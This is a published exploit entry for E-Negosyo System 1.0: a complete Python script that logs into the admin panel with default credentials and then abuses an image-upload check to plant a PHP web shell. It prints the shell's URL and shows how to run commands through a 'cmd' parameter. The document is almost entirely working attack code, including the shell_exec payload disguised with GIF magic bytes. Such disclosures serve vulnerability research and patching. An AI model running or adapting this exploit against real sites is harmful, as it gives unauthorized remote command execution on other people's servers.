E-Negosyo System 1.0 Shell Upload

`# Exploit Title: E-Negosyo System 1.0 - Authenticated RCE  
# Date: 2021-09-22  
# Exploit Author: Janik Wehrli  
# Vendor Homepage: https://www.sourcecodester.com/users/janobe  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/bsenordering_0.zip  
# Version: 1.0  
# Category: Webapps  
# Tested on: Ubuntu 18.04, Windows 10 Home  
  
  
# Description:  
# The E-Negosyo System 1.0 suffers from an Authenticated RCE vulnerability.  
# An Administrator can upload a PHP file as new product image, because image uploads are not properly handled by the Webapp  
# The Error resides in the file /admin/products/controller.php - function doInsert() which validates images with getImageSize  
# This can be bypassed by inserting some magic bytes at the top of the PHP file.  
  
import requests, sys  
from colorama import Fore, Back, Style  
  
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)  
F = [Fore.RESET, Fore.BLACK, Fore.RED, Fore.GREEN, Fore.YELLOW, Fore.BLUE, Fore.MAGENTA, Fore.CYAN, Fore.WHITE]  
B = [Back.RESET, Back.BLACK, Back.RED, Back.GREEN, Back.YELLOW, Back.BLUE, Back.MAGENTA, Back.CYAN, Back.WHITE]  
S = [Style.RESET_ALL, Style.DIM, Style.NORMAL, Style.BRIGHT]  
info = S[3] + F[5] + '[' + S[0] + S[3] + '-' + S[3] + F[5] + ']' + S[0] + ' '  
err = S[3] + F[2] + '[' + S[0] + S[3] + '!' + S[3] + F[2] + ']' + S[0] + ' '  
ok = S[3] + F[3] + '[' + S[0] + S[3] + '+' + S[3] + F[3] + ']' + S[0] + ' '  
  
ASCII_ART = """  
  
_.---._ /\\  
./' "--`\//  
./ o \  
/./\ )______ \__ \  
./ / /\ \ | \ \ \ \  
/ / \ \ | |\ \ \7  
" " " "   
  
  
E-Negosyo System Authenticated RCE v1.0 Janik Wehrli  
"""  
  
# Set variables  
print(ASCII_ART)  
SERVER_URL = str(  
input("Type in your E-Negosyo System Location e.g http://192.168.20.20/bsenordering: \n"))  
LOGIN_URL = SERVER_URL + '/admin/login.php'  
# You may have to adjust the id of the picture  
UPLOAD_URL = SERVER_URL + "/admin/products/controller.php?action=photos&id=201735"  
PWN_URL = SERVER_URL + "/admin/products/uploaded_photos/"  
# Set your own credentials (janobe:admin by default on v1.0)  
USERNAME = "janobe"  
PASSWORD = "admin"  
WEBSHELL_NAME = "pwn.php"  
  
# Uncomment the bottom line to run the exploit through a proxy such as burp  
# proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}  
  
# Create a simple web session with python  
s = requests.Session()  
# GET request to webserver - Start a session & retrieve a session cookie  
get_session = s.get(LOGIN_URL, verify=False)  
# Check connection to website & print session cookie to terminal OR die  
if get_session.status_code == 200:  
print(ok + 'Successfully connected to E-Negosyo System server & created session.')  
print(info + "Session Cookie: " + get_session.headers['Set-Cookie'])  
else:  
print(err + 'Cannot connect to the server and create a web session.')  
sys.exit(-1)  
  
# 1. Login to get Admin access  
login_data = {'username': USERNAME, 'password': PASSWORD, 'login': ''}  
print(  
info + "Attempting to Login to E-Negosyo System v1.0 with the following credentials: " + "username:" + USERNAME + ":" + "password:" + PASSWORD)  
# auth = s.post(url=LOGIN_URL, data=login_data, verify=False, proxies=proxies)  
auth = s.post(url=LOGIN_URL, data=login_data, verify=False, allow_redirects=True)  
if auth.status_code == 200:  
print(ok, "Login Success")  
else:  
print(err, "Something Went Wrong")  
  
# 2. Upload simple PHP Webshell to get command execution  
# Content-Disposition: form-data; name="image"; filename="pwn.php"  
# Content-Type: application/octet-stream  
webshell = {  
'photo':  
(  
WEBSHELL_NAME,  
'GIF89a <?php echo shell_exec($_GET["cmd"]);?>',  
'application/octet-stream',  
{'Content-Disposition': 'form-data'}  
)  
}  
print(info + "Upload Webshell via insecure verification of images (getimagesize()) add GIF Magic Bytes")  
print(info + "Send Post malicious POST Request to the Server")  
  
upload_webshell = s.post(url=UPLOAD_URL, files=webshell, verify=False)  
  
if "window.location='index.php'" in upload_webshell.text:  
print(ok, "Success")  
print(ok, "Your Webshell is located under: " + PWN_URL + WEBSHELL_NAME)  
print(ok, "Execute Commands via the GET Parameter 'cmd' for e.g " + PWN_URL + WEBSHELL_NAME + "?cmd=whoami")  
else:  
print(err, "Something Went Wrong")  
`